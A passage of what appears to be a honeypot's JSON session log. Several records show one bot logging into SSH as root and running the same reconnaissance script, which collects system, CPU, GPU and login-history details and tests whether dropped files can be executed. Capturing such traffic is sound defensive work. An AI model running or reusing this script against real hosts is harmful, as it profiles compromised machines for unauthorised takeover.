\"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:24:32.857794+00:00",
  "ended_at": "2026-08-27T09:24:33.005017+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "37d21917-4b70-499f-be22-40bba0e69af4",
  "name": "frank-lucid-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 33304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:22:46.454169+00:00",
  "ended_at": "2026-08-27T09:22:46.657998+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4f9601fb-c465-4f20-9e08-594a530192fb",
  "name": "graceful-golden-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 58454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:20:55.404603+00:00",
  "ended_at": "2026-08-27T09:20:55.517875+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "45822ab6-fd55-4ae2-a18c-7a913dc9339d",
  "name": "leafy-patient-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 55320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:18:56.673747+00:00",
  "ended_at": "2026-08-27T09:18:56.784931+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5535f557-f1d5-416d-a061-a3f044d1bb47",
  "name": "primal-graceful-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 52198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:17:06.397516+00:00",
  "ended_at": "2026-08-27T09:17:06.635302+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e0df4fff-4d77-4538-80bc-886302ba6e59",
  "name": "windswept-humble-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 49078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:15:10.847365+00:00",
  "ended_at": "2026-08-27T09:15:10.956173+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "04d5fcb3-a289-4336-9806-a57740eef6d0",
  "name": "ancient-thorny-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:13:16.431773+00:00",
  "ended_at": "2026-08-27T09:13:16.660202+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2cbb1d07-a3f9-4ec3-b5d8-50ed5b23807f",
  "name": "vivid-dewy-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
